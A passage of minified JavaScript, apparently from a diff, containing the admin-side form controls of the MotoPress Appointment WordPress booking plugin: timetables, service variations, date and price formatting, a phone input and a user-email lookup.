class="mpa-variation" data-id="'+e+'">',i+='<td class="column-employee">',i+=j(this.employees,0,{name:`${t}[employee]`,class:"mpa-employees"}),i+="</td>",i+='<td class="column-price">',i+='<input class="mpa-price" type="number" name="'+t+'[price]" value="" min="0" step="0.01">',i+="</td>",i+='<td class="column-duration">',i+=j(this.durations,0,{name:`${t}[duration]`,class:"mpa-durations"}),i+="</td>",i+='<td class="column-min-capacity">',i+='<input class="small-text" type="number" name="'+t+'[min_capacity]" value="" min="1" step="1">',i+="</td>",i+='<td class="column-max-capacity">',i+='<input class="small-text" type="number" name="'+t+'[max_capacity]" value="" min="1" step="1">',i+="</td>",i+='<td class="column-actions">'+O("trash","mpa-remove-button")+"</td>",i+="</tr>",i}removeRowByElement(e){let t=jQuery(e).parents(".mpa-variation").attr("data-id");t&&this.removeRow(t)}removeRow(e){this.variations.hasOwnProperty(e)&&(this.variations[e].remove(),delete this.variations[e],this.count--,0===this.count&&this.$table.addClass("mpa-hide"))}}class Ne extends s{constructor(e){super(e),this.$daysContainer=this.$element.find(".mpa-days-container"),this.$formTable=this.$element.find(".mpa-edit-table"),this.$dayInput=this.$formTable.find(".mpa-day-of-week"),this.timeSelects=this.$formTable.find(".mpa-period"),this.$startTimeHoursInput=this.$formTable.find(".mpa-period__start-hours"),this.$startTimeMinutesInput=this.$formTable.find(".mpa-period__start-minutes"),this.$endTimeHoursInput=this.$formTable.find(".mpa-period__end-hours"),this.$endTimeMinutesInput=this.$formTable.find(".mpa-period__end-minutes"),this.$timeAllDayInput=this.$formTable.find(".mpa-period__all-day"),this.$activityInput=this.$formTable.find(".mpa-activity"),this.$locationInput=this.$formTable.find(".mpa-location"),this.$errorWrapper=this.$formTable.find(".mpa-end-time + .mpa-error"),this.$addButton=this.$element.find(".mpa-add-button"),this.$cancelButton=this.$element.find(".mpa-cancel-button"),this.addingPeriod=!1,this.baseName=this.$element.attr("data-base-name"),this.findPeriods(),this.fillActivities(),this.fillLocations(),this.addListeners()}findPeriods(){this.periods={monday:{},tuesday:{},wednesday:{},thursday:{},friday:{},saturday:{},sunday:{}},this.periodsMap={};let e=this;this.$element.find(".mpa-day-period").each((function(t,i){let s=jQuery(i),a=s.attr("data-id"),r=s.children(".mpa-period-day").val(),n=parseInt(s.children(".mpa-period-start").val());e.periods[r][a]={startTime:n,$element:s},e.periodsMap[a]=r}))}fillActivities(){this.activities={},this.$activityInput.children().each(((e,t)=>{let i=t.value,s=t.text;this.activities[i]=s}))}fillLocations(){this.locations={},this.$locationInput.children().each(((e,t)=>{let i=t.value,s=t.text;""!==i&&(this.locations[i]=s)}))}addListeners(){this.$timeAllDayInput.on("change",(e=>{e.target.checked?this.timeSelects.hide():this.timeSelects.show()})),this.$addButton.on("click",(()=>{this.addingPeriod?this.isValidEditingPeriod()?(this.$errorWrapper.addClass("mpa-hide"),this.addPeriod({day:this.getDay(),startTime:this.getStartTime(),endTime:this.getEndTime(),activity:this.getActivity(),location:this.getLocation()}),this.$formTable.addClass("mpa-hide"),this.addingPeriod=!1):this.$errorWrapper.removeClass("mpa-hide"):(this.addingPeriod=!0,this.resetInputs(),this.$formTable.removeClass("mpa-hide"))})),this.$cancelButton.on("click",(()=>{this.$formTable.addClass("mpa-hide"),this.addingPeriod=!1}));let e=this;this.$element.find(".mpa-remove-button").on("click",(function(){e.removePeriodByElement(this)}))}getDay(){return this.$dayInput.val()}getStartTime(){let e=0;return this.$timeAllDayInput.prop("checked")||(e=60*parseInt(this.$startTimeHoursInput.val())+parseInt(this.$startTimeMinutesInput.val())),e}getEndTime(){let e=0;return this.$timeAllDayInput.prop("checked")||(e=60*parseInt(this.$endTimeHoursInput.val())+parseInt(this.$endTimeMinutesInput.val())),e}getActivity(){return this.$activityInput.val()}getLocation(){let e=this.$locationInput.val();return""!==e&&(e=parseInt(e)),e}isValidEditingPeriod(){let e=this.getStartTime(),t=this.getEndTime();return t>e||0===t}addPeriod(e){let t=C(),i=this.renderPeriod(e,t),s=!1;for(let t in this.periods[e.day])if(e.startTime<this.periods[e.day][t].startTime){jQuery(i).insertBefore(this.periods[e.day][t].$element),s=!0;break}s||this.$daysContainer.children('[data-for="'+e.day+'"]').children(".mpa-day-periods").append(i);let a=this.$daysContainer.find('[data-id="'+t+'"]');this.periods[e.day][t]={startTime:e.startTime,$element:a},this.periodsMap[t]=e.day;let r=this;a.find(".mpa-remove-button").on("click",(function(){r.removePeriodByElement(this)}))}renderPeriod(e,t){let i=this.baseName+"["+t+"]",s="";return s+='<div class="mpa-day-period" data-id="'+t+'">',s+='<input type="hidden" name="'+i+'[day]" value="'+e.day+'">',s+='<input type="hidden" name="'+i+'[start]" value="'+e.startTime+'">',s+='<input type="hidden" name="'+i+'[end]" value="'+e.endTime+'">',s+='<input type="hidden" name="'+i+'[activity]" value="'+e.activity+'">',s+='<input type="hidden" name="'+i+'[location]" value="'+e.location+'">',s+='<span class="mpa-period-time">',0===e.startTime&&0===e.startTime&&e.startTime===e.endTime?s+=c("All day","motopress-appointment"):(s+=x(e.startTime),s+="&nbsp;—&nbsp;",s+=x(e.endTime)),s+="</span>",s+=O("trash","mpa-remove-button"),s+="<br>",s+='<span class="mpa-period-activity">',s+=this.activities[e.activity],s+="</span>",""!==e.location&&"work"==e.activity&&(s+="<br>",s+='<span class="mpa-period-location">',s+=d("at %s","Working at %s","motopress-appointment").replace("%s",function(e,t=""){return`<a href="wp-admin/post.php?post=${e}&action=edit" title="`+t+'">'+t+"</a>"}(e.location,this.locations[e.location])),s+="</span>"),s+="</div>",s}removePeriodByElement(e){let t=jQuery(e).parents(".mpa-day-period").attr("data-id");t&&this.removePeriod(t)}removePeriod(e){if(!this.periodsMap.hasOwnProperty(e))return;let t=this.periodsMap[e];this.periods[t][e].$element.remove(),delete this.periods[t][e],delete this.periodsMap[e]}resetInputs(){this.$errorWrapper.addClass("mpa-hide")}onCancel(){this.$formTable.addClass("mpa-hide"),this.addingPeriod=!1}}class He extends s{constructor(e){super(e),this.$input=this.$element.find("input"),this.$datalist=this.$element.find("datalist"),this.$input.on("input",this.reloadUserEmails.bind(this)),this.reloadUserEmails()}reloadUserEmails(){let e=this;jQuery.ajax({url:mpaUserMetaboxSettings.root+"wp/v2/users/",method:"GET",beforeSend:function(e){e.setRequestHeader("X-WP-Nonce",mpaUserMetaboxSettings.nonce)},data:{context:"edit",search:e.$input.val(),per_page:100,orderby:"email"}}).done((function(t){e.$datalist.empty(),t.forEach((t=>{e.$datalist.append('<option value="'+t.email+'"></option>')}))}))}}class Qe{constructor(e){this.$element=e,this.$toggle=e.children(".dropdown-toggle"),this.$menu=e.children(".dropdown-menu"),this.$menuItems=this.$menu.children(".dropdown-item"),this.isDoingClick=!1,this.addListeners(),this.setInited()}addListeners(){this.$toggle.on("click",this.showMenu.bind(this)),this.$toggle.on("blur",this.onBlur.bind(this)),this.$menuItems.on("mousedown",this.beforeClick.bind(this)),this.$menuItems.on("mouseup",this.afterClick.bind(this))}setInited(){this.$element.addClass("inited")}toggleMenu(){this.$menu.toggleClass("show")}showMenu(){this.$menu.addClass("show")}hideMenu(){this.$menu.removeClass("show")}beforeClick(){this.isDoingClick=!0}afterClick(){this.isDoingClick=!1,this.hideMenu()}onBlur(e){this.isDoingClick?e.preventDefault():this.hideMenu()}}new class{constructor(){this.setupComponents(),this.exportInstance()}setupComponents(){this.setupDropdowns()}setupDropdowns(){jQuery(".mpa-dropdown:not(.inited)").each((function(e,t){new Qe(jQuery(t))}))}exportInstance(){var e,t;e="Bootstrap",t=this,null==window.MotoPress&&(window.MotoPress={}),null==window.MotoPress.Appointment&&(window.MotoPress.Appointment={}),window.MotoPress.Appointment[e]=t}},new class{constructor(){this.setupFields(jQuery(".mpa-ctrl:not([data-inited])"))}setupFields(e){e.each((function(e,t){let i=jQuery(t);switch(i.attr("data-type")){case"color-picker":new a(i);break;case"date":new f(i);break;case"image":new $(i);break;case"phone":new w(i);break;case"attributes":new W(i);break;case"custom-workdays":new z(i);break;case"days-off":new K(i);break;case"edit-reservations":new Re(i);break;case"service-variations":new je(i);break;case"timetable":new Ne(i);break;case"employee-user":new He(i)}}))}},new class{constructor(){0!==jQuery("#mpa_appointment_form_metabox").length&&(this.availability=new Ee,this.availability.load().finally((()=>{this.defaultValuesDependency()})),this.$showItemsCategory=jQuery("#_mpa_show_items-category"),this.$showItemsCategoryLabel=this.$showItemsCategory.parent(),this.$showItemsService=jQuery("#_mpa_show_items-service"),this.$showItemsServiceLabel=this.$showItemsService.parent(),this.$defaultValuesCategory=jQuery("#_mpa_default_category"),this.$defaultValuesService=jQuery("#_mpa_default_service"),this.$defaultValuesLocation=jQuery("#_mpa_default_location"),this.$defaultValuesEmployee=jQuery("#_mpa_default_employee"),this.showItemsCategoryProp=this.$showItemsCategory.prop("checked"),this.showItemsCategoryLabelTooltipText=p(c("To enable this option, you need to check the '%s' box.","motopress-appointment"),c("Service","motopress-appointment")),this.showItemsServiceLabelTooltipText=c("To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.","motopress-appointment"),this.dependencyOfShowServiceToDefaultValueOfService(),this.toggleCategoryBasedOnService(),this.addListeners())}addListeners(){this.$showItemsCategory.on("change",(()=>this.updateShowItemsCategoryProp())),this.$showItemsService.on("change",(()=>this.toggleCategoryBasedOnService())),this.$defaultValuesService.on("change",(()=>this.dependencyOfShowServiceToDefaultValueOfService())),this.$showItemsServiceLabel.on("click",(()=>this.makeFocusToServiceSelect())),this.$defaultValuesCategory.on("change",(()=>this.defaultValuesDependency())),this.$defaultValuesService.on("change",(()=>this.defaultValuesDependency())),this.$defaultValuesLocation.on("change",(()=>this.defaultValuesDependency())),this.$defaultValuesEmployee.on("change",(()=>this.defaultValuesDependency()))}updateShowItemsCategoryProp(){this.showItemsCategoryProp=this.$showItemsCategory.prop("checked")}toggleCategoryBasedOnService(){!1===this.$showItemsService.prop("checked")?(this.$showItemsCategory.prop("disabled",!0),this.$showItemsCategory.prop("checked",!1),this.$showItemsCategoryLabel.toggleClass("mpa_tooltip",!0),this.$showItemsCategoryLabel.attr("data-tooltip",this.showItemsCategoryLabelTooltipText)):(this.$showItemsCategory.prop("disabled",!1),this.$showItemsCategory.prop("checked",this.showItemsCategoryProp),this.$showItemsCategoryLabel.toggleClass("mpa_tooltip",!1))}dependencyOfShowServiceToDefaultValueOfService(){this.$defaultValuesService.val()&&"0"!==this.$defaultValuesService.val()?(this.$showItemsService.prop("disabled",!1),this.$showItemsServiceLabel.toggleClass("mpa_tooltip",!1),this.$showItemsServiceLabel.removeAttr("data-tooltip")):(this.$showItemsService.prop("disabled",!0),this.$showItemsService.prop("checked",!0),this.$showItemsServiceLabel.toggleClass("mpa_tooltip",!0),this.$showItemsServiceLabel.attr("data-tooltip",this.showItemsServiceLabelTooltipText))}makeFocusToServiceSelect(){!0===this.$showItemsService.prop("disabled")&&this.$defaultValuesService.focus()}defaultValuesDependency(){const e=jQuery("#_mpa_label_unselected").val(),t=e||c("— Select —","motopress-appointment"),i=jQuery("#_mpa_label_option").val(),s=i||c("— Any —","motopress-appointment"),a=this.$defaultValuesCategory.val(),r=S(this.$defaultValuesService.val()),n=S(this.$defaultValuesEmployee.val()),o=S(this.$defaultValuesLocation.val()),l=this.availability.isAvailableService(r)?r:0,h=this.availability.isAvailableServiceCategory(a)?a:"",d=this.availability.isAvailableLocation(o)?o:0,p=this.availability.isAvailableEmployee(n)?n:0,u=0!==l?this.availability.getServiceCategories(l):this.availability.getAvailableServiceCategories(),m=this.availability.getAvailableServices(h,d,p),g=this.availability.getAvailableLocations(l,p),y=this.availability.getAvailableEmployees(l,d),v=Object.values(this.availability.getServiceCategoriesTree()),f=Object.keys(u);let b;if(0!==l){b=ke(Ce(v,f))}else b=null;const $=Pe(v,this.availability.categoryIndexes,b),I=this.availability.serviceIndexes.filter((e=>m.hasOwnProperty(e))).map((e=>({id:e,name:m[e]}))),w=this.availability.locationIndexes.filter((e=>g.hasOwnProperty(e))).map((e=>({id:e,name:g[e]}))),T=this.availability.employeeIndexes.filter((e=>y.hasOwnProperty(e))).map((e=>({id:e,name:y[e]})));Q(this.$defaultValuesCategory,{"":s},$,u.hasOwnProperty(h)?h:""),Q(this.$defaultValuesService,{"":t},I,m.hasOwnProperty(l)?l:""),Q(this.$defaultValuesLocation,{"":s},w,g.hasOwnProperty(d)?d:""),Q(this.$defaultValuesEmployee,{"":s},T,y.hasOwnProperty(p)?p:"")}}}(wp.date,intlTelInput,mpaData)}();
+!function(){"use strict";!function(e,t,i){class s{constructor(e){this.$element=e,this.type=e.data("type"),this.$element.attr("data-inited","true")}}class a extends s{constructor(e){super(e),this.$input=e.find("input").first(),this.$input.spectrum()}}let r="/motopress/appointment/v1";function n(e,t={}){return function(e,t={},i="GET"){return new Promise(((s,a)=>{wp.apiRequest({path:r+e,type:i,data:t}).done((e=>s(e))).fail(((e,t)=>{let i="parsererror";i=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,"parsererror"==i&&(i="REST request failed. Maybe PHP error on the server side. Check PHP logs."),a(new Error(i))}))}))}(e,t,"GET")}class o{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:"Appointment Booking",today:"2030-01-01",business_name:"",default_time_step:30,default_booking_status:"confirmed",confirmation_mode:"auto",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:"",currency:"EUR",currency_symbol:"&euro;",currency_position:"before",decimal_separator:".",thousand_separator:",",number_of_decimals:2,timezone:"UTC",date_format:"F j, Y",time_format:"H:i",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:"en",enable_payments:!1,active_gateways:[],reservation_received_page_url:"",failed_transaction_page_url:"",default_payment_gateway:""}}load(){return new Promise(((e,t)=>{n("/settings").then((e=>this.settings=e),(e=>console.error("Unable to load public settings.",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class l{constructor(){this.settingsCtrl=new o,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==l.instance&&(l.instance=new l),l.instance}}function h(){return l.getInstance()}const c="undefined"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t="")=>e,d="undefined"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,i="")=>e,p="undefined"!=typeof wp&&wp.i18n&&wp.i18n.sprintf?wp.i18n.sprintf:(e,...t)=>{let i=0;return e.replace(/%([sdf])/g,((e,s)=>{if(i>=t.length)return e;let a=t[i++];switch(s){case"s":return String(a);case"d":return parseInt(a,10);case"f":return parseFloat(a);default:return e}}))},u={weekdays:{shorthand:[c("Sun","motopress-appointment"),c("Mon","motopress-appointment"),c("Tue","motopress-appointment"),c("Wed","motopress-appointment"),c("Thu","motopress-appointment"),c("Fri","motopress-appointment"),c("Sat","motopress-appointment")],longhand:[c("Sunday","motopress-appointment"),c("Monday","motopress-appointment"),c("Tuesday","motopress-appointment"),c("Wednesday","motopress-appointment"),c("Thursday","motopress-appointment"),c("Friday","motopress-appointment"),c("Saturday","motopress-appointment")]},months:{shorthand:[c("Jan","motopress-appointment"),c("Feb","motopress-appointment"),c("Mar","motopress-appointment"),c("Apr","motopress-appointment"),d("May","Month (short)","motopress-appointment"),c("Jun","motopress-appointment"),c("Jul","motopress-appointment"),c("Aug","motopress-appointment"),c("Sep","motopress-appointment"),c("Oct","motopress-appointment"),c("Nov","motopress-appointment"),c("Dec","motopress-appointment")],longhand:[c("January","motopress-appointment"),c("February","motopress-appointment"),c("March","motopress-appointment"),c("April","motopress-appointment"),d("May","Month","motopress-appointment"),c("June","motopress-appointment"),c("July","motopress-appointment"),c("August","motopress-appointment"),c("September","motopress-appointment"),c("October","motopress-appointment"),c("November","motopress-appointment"),c("December","motopress-appointment")]},amPM:["AM","PM"],firstDayOfWeek:h().settings().getFirstDayOfWeek()};function m(t,i="public"){if("string"==typeof t)return t;if("internal"==i)return m(t,"Y-m-d");if("public"==i)return e.format(h().settings().getDateFormat(),t);let s=(e,t=2)=>("00"+e).slice(-t),a=!1;return i.split("").map((e=>{if(a)return a=!1,e;switch(e){case"\\":return a=!0,"";case"j":return t.getDate();case"d":return s(t.getDate());case"D":return u.weekdays.shorthand[t.getDay()];case"l":return u.weekdays.longhand[t.getDay()];case"N":return t.getDay()||7;case"w":return t.getDay();case"z":let i=new Date(t.getFullYear(),0,1),r=i.getTimezoneOffset()-t.getTimezoneOffset(),n=t-i+60*r*1e3,o=864e5;return Math.floor(n/o);case"W":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),d=864e5;return Math.ceil(((l-c)/d+1)/7);case"F":return u.months.longhand[t.getMonth()];case"M":return u.months.shorthand[t.getMonth()];case"m":return s(t.getMonth()+1);case"n":return t.getMonth()+1;case"t":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case"Y":return t.getFullYear();case"y":return String(t.getFullYear()).substring(2);case"L":return t.getFullYear()%4==0?1:0;case"A":return u.amPM[t.getHours()>11?1:0];case"a":return u.amPM[t.getHours()>11?1:0].toLowerCase();case"H":return s(t.getHours());case"h":return s(t.getHours()%12||12);case"G":return t.getHours();case"g":return t.getHours()%12||12;case"i":return s(t.getMinutes());case"s":return s(t.getSeconds());case"v":return s(t.getMilliseconds(),3);case"u":return s(t.getMilliseconds(),3)+"000";case"O":case"P":let p=-t.getTimezoneOffset(),g=p>=0?"+":"-",y=Math.floor(Math.abs(p)/60),v=Math.abs(p)%60,f="O"==e?"":":";return g+s(y)+f+s(v);case"Z":return 60*t.getTimezoneOffset();case"U":return Math.floor(t.getTime()/1e3);case"c":return m(t,"Y-m-d\\TH:i:sP");case"r":return m(t,"D, d M Y H:i:s O");case"S":case"o":case"B":case"e":case"T":case"I":return"";default:return e}})).join("")}function g(e){let t=e.match(/(\d{4})-(\d{2})-(\d{2})/);if(null!=t){let e=parseInt(t[1]),i=parseInt(t[2]),s=parseInt(t[3]);return new Date(e,i-1,s)}return null}function y(){let e=new Date;return e.setHours(0,0,0,0),e}function v(e,t){let i=t.locale||h().settings().getFlatpickrLocale(),s=flatpickr.l10ns[i]||i;"object"==typeof s&&(s.firstDayOfWeek=h().settings().getFirstDayOfWeek());let a={formatDate:m,inline:!0,locale:s,monthSelectorType:"static",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}class f extends s{constructor(e){super(e),this.$dateInput=this.$element.find(".mpa-date-input").first(),this.datepicker=null,this.displayFormat=this.$element.data("display-format"),this.sizeClass=this.$element.data("size"),this.initDatepicker(),this.removePreloader()}initDatepicker(){this.datepicker=v(this.$dateInput,{altFormat:this.displayFormat,altInput:!0,altInputClass:"mpa-alt-date-input "+this.sizeClass,inline:!1,showMonths:2}),this.$dateInput.prop("disabled")&&this.$element.find(".mpa-alt-date-input").prop("disabled",!0)}removePreloader(){this.$element.find(".mpa-preloader").remove()}}function b(e){return!!e}function S(e){let t=parseInt(e);return isNaN(t)?e<<0:t}class $ extends s{constructor(e){super(e),this.setupProperties(),this.addListeners()}setupProperties(){this.$input=this.$element.find('input[type="hidden"]'),this.$preview=this.$element.find(".mpa-preview-wrapper > img"),this.$addButton=this.$element.find(".mpa-add-media"),this.$removeButton=this.$element.find(".mpa-remove-media"),this.thumbnailSize=this.$input.attr("thumbnail-size")}addListeners(){this.$preview.on("click",this.selectMedia.bind(this)),this.$addButton.on("click",this.selectMedia.bind(this)),this.$removeButton.on("click",this.removeMedia.bind(this))}getRawValue(){return this.$input.val()}getValue(){return S(this.getRawValue())}setValue(e){this.updateValue(e),this.react()}updateValue(e){this.$input.val(e)}react(){let e=b(this.getValue());this.$addButton.toggleClass("mpa-hide",e),this.$removeButton.toggleClass("mpa-hide",!e),e?this.updatePreview():this.resetPreview()}updatePreview(){let e=wp.media.attachment(this.getValue()).attributes.sizes[this.thumbnailSize].url;this.$preview.removeClass("mpa-hide").attr("src",e)}resetPreview(){this.$preview.addClass("mpa-hide").attr("src","")}selectMedia(e){e.preventDefault();let t=wp.media({multiple:!1});t.open().on("select",(e=>{let i=t.state().get("selection").first().toJSON().id;this.setValue(i)}))}removeMedia(e){e.preventDefault(),this.setValue("")}}function I(e){const s=jQuery("<span/>",{id:e.attr("id")+"_error",class:"mpa-phone-field-error mpa-hide",text:c("Phone number is invalid.","motopress-appointment")});e.after("<br>",s);const a=t(e[0],{separateDialCode:!0,initialCountry:i.settings.country,hiddenInput:e.attr("name"),utilsScript:i.urls.plugin+"assets/js/intl-tel-input-17.0.19/js/utils.js"});a.promise.then((()=>{e.val()&&r(),e.on("countrychange",(e=>{r()})),e.on("input",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery("input[type='hidden'][name='"+e.attr("name")+"']").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass("mpa-phone-number--invalid"),s.addClass("mpa-hide")):(e.addClass("mpa-phone-number--invalid"),s.removeClass("mpa-hide"))};return a}window.mpa_intl_tel_input=I;class w extends s{constructor(e){super(e),this.$input=e.find("input").first(),I(this.$input)}}let T={};function _(e,t=!1){return"object"==typeof e?0==function(e,t=!1){return"object"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function C(e="",t=!1){let i=function(e,t){return t<(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join("0")+e:e};T.uniqid_seed||(T.uniqid_seed=Math.floor(123456789*Math.random())),T.uniqid_seed++;let s=e;return s+=i(parseInt((new Date).getTime()/1e3,10),8),s+=i(T.uniqid_seed,5),t&&(s+=(10*Math.random()).toFixed(8).toString()),s}function k(e){return e.filter(((e,t,i)=>i.indexOf(e)===t))}function P(e,t){return e.filter((e=>-1!=t.indexOf(e)))}function D(e,t){let i=Math.min(e.length,t.length),s={};for(let a=0;a<i;a++)s[e[a]]=t[a];return s}function E(e,t,i=1){let s=i||1,a=Math.abs(Math.floor((t-e)/s))+1;return[...Array(a).keys()].map((t=>t*i+e))}function x(e,t="public"){e%=1440;let i=parseInt(e/60);e%=60;let s=y();return s.setHours(i,e),A(s,t)}function A(e,t="public"){return m(e,"internal"==t?"H:i":"public"==t?h().settings().getTimeFormat():t)}function M(e){let t=e.split(":"),i=parseInt(t[0]),s=parseInt(t[1]),a=y();return a.setHours(i,s),a}function L(e){let t="";for(let i in e)t+=" "+i+'="'+e[i]+'"';return t}function B(e,t={}){return"<button"+L(t=jQuery.extend({},{type:"button",class:"button"},t))+">"+e+"</button>"}function O(e,t=""){return'<span class="'+`dashicons dashicons-${e} ${t}`.trimRight()+'"></span>'}function V(e,t){let i={service_id:".mpa-service-id",service_name:".mpa-service-name",service_thumbnail:".mpa-service-thumbnail",employee_id:".mpa-employee-id",employee_name:".mpa-employee-name",location_id:".mpa-location-id",location_name:".mpa-location-name",reservation_date:".mpa-reservation-date",reservation_save_date:".mpa-reservation-save-date",reservation_time:".mpa-reservation-time",reservation_period:".mpa-reservation-period",reservation_save_period:".mpa-reservation-save-period",reservation_capacity:".mpa-reservation-capacity",reservation_clients:".mpa-reservation-clients",reservation_clients_count:".mpa-reservation-clients-count",reservation_price:".mpa-reservation-price"},s=t.clone();s.attr("data-id",e.getItemId());let a=e.getCapacityOptions();for(let t in i){let r=i[t],n=s.find(r).first(),o="{"+t+"}";if(!(n.length>0?n.html():"").includes(o))continue;let l="";switch(t){case"service_id":l=e.service.id;break;case"service_name":l=e.service.name;break;case"service_thumbnail":l=U(e.service.thumbnail);break;case"employee_id":l=e.employee.id;break;case"employee_name":l=e.employee.name;break;case"location_id":l=e.location.id;break;case"location_name":l=e.location.name;break;case"reservation_date":l=m(e.date);break;case"reservation_save_date":l=m(e.date,"internal");break;case"reservation_time":l=e.time.toString("short");break;case"reservation_period":l=e.time.toString();break;case"reservation_save_period":l=e.time.toString("internal");break;case"reservation_capacity":l=j(D(a,a),e.capacity);break;case"reservation_clients":l=H(D(a,a),e.capacity);break;case"reservation_clients_count":l=e.capacity;break;case"reservation_price":let t=e.employee.id;l=R(e.service.getPrice(t,e.capacity))}n.html(n.html().replace(o,l))}return s.find(".cell-people .cell-title").html(e.getService().getQuantityLabel()),s.find('[name*="{item_id}"]').each(((t,i)=>{i.name=i.name.replace("{item_id}",e.getItemId())})),1===a.length&&s.find(".cell-people").addClass("mpa-hide"),s}function F(e,t,i="public"){let s="short"==i?"public":i,a=m(e,s),r=m(t,s);return"short"==i&&a==r?a:a+" - "+r}function R(e,t={}){let i=h().settings();t=jQuery.extend({currency_symbol:i.getCurrencySymbol(),currency_position:i.getCurrencyPosition(),decimal_separator:i.getDecimalSeparator(),thousand_separator:i.getThousandSeparator(),decimals:i.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let s=function(e,t=0,i=".",s=","){let a,r,n,o,l,h="";return e<0&&(h="-",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+"",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+s:"",n=a.substr(r).replace(/(\d{3})(?=\d)/g,"$1"+s),o=t?i+Math.abs(e-a).toFixed(t).replace(/-/,0).slice(2):"",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a="mpa-price";if(0==e&&(a+=" mpa-zero-price"),0==e&&t.literal_free)a+=" mpa-price-free",s=d("Free","Zero price","motopress-appointment");else{t.trim_zeros&&(s=function(e,t=null){null==t&&(t=h().settings().getDecimalSeparator());let i=new RegExp("\\"+t+"0+$");return e.replace(i,"")}(s));let i='<span class="mpa-currency">'+t.currency_symbol+"</span>";switch(t.currency_position){case"before":s=i+s;break;case"after":s+=i;break;case"before_with_space":s=i+"&nbsp;"+s;break;case"after_with_space":s=s+"&nbsp;"+i}e<0&&(s="-"+s)}return'<span class="'+a+'">'+s+"</span>"}function j(e,t,i={}){let s="<select"+L(i)+">";return s+=H(e,t),s+="</select>",s}function N(e,t,i=!1){let s="";return s='<option value="'+e+'"'+(i?' selected="selected"':"")+">",s+=t,s+="</option>",s}function H(e,t){let i="";for(let s in e)i+=N(s,e[s],s==t);return i}function Q(e,t,i,s){let a="";const r=String(s);for(const[e,i]of Object.entries(t))a+=N(e,i,e===r);for(let e of i)a+=N(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function U(e){let{width:t,height:i}=h().settings().getThumbnailSize();return"<img"+L({width:t,height:i,src:e,class:"attachment-thumbnail size-thumbnail"})+">"}class W extends s{constructor(e){super(e),this.setupProperties(),this.addListeners()}setupProperties(){this.$table=this.$element.find("table"),this.$rows=this.$table.children("tbody"),this.$addButton=this.$element.find(".mpa-add-button"),this.baseName=this.$element.attr("data-base-name"),this.rows={},this.rowsCount=0,this.$element.find(".mpa-attribute").each(((e,t)=>{let i=jQuery(t),s=i.attr("data-id");this.rows[s]=i,this.rowsCount++}))}addListeners(){let e=this;this.$addButton.on("click",(()=>{this.addRow()})),this.$element.find(".mpa-remove-button").on("click",(function(){e.removeRowByElement(this)}))}addRow(){let e=C(),t=this.renderRow(e);this.$rows.append(t);let i=this.$rows.find('[data-id="'+e+'"]');this.rows[e]=i,this.rowsCount++,this.$table.removeClass("mpa-hide");let s=this;i.find(".mpa-remove-button").on("click",(function(){s.removeRowByElement(this)}))}renderRow(e){let t=this.baseName+"["+e+"]",i="";return i+='<tr class="mpa-attribute" data-id="'+e+'">',i+='<td class="column-label">',i+='<input type="text" name="'+t+'[label]" value="" class="large-text">',i+="</td>",i+='<td class="column-content">',i+='<input type="text" name="'+t+'[content]" value="" class="large-text">',i+="</td>",i+='<td class="column-link">',i+='<input type="text" name="'+t+'[link]" value="" class="large-text">',i+="</td>",i+='<td class="column-class">',i+='<input type="text" name="'+t+'[class]" value="" class="large-text">',i+="</td>",i+='<td class="column-actions">'+O("trash","mpa-remove-button")+"</td>",i+="</tr>",i}removeRowByElement(e){let t=jQuery(e).parents(".mpa-attribute").attr("data-id");t&&this.removeRow(t)}removeRow(e){this.rows.hasOwnProperty(e)&&(this.rows[e].remove(),this.rowsCount--,delete this.rows[e],0==this.rowsCount&&this.$table.addClass("mpa-hide"))}}class z extends 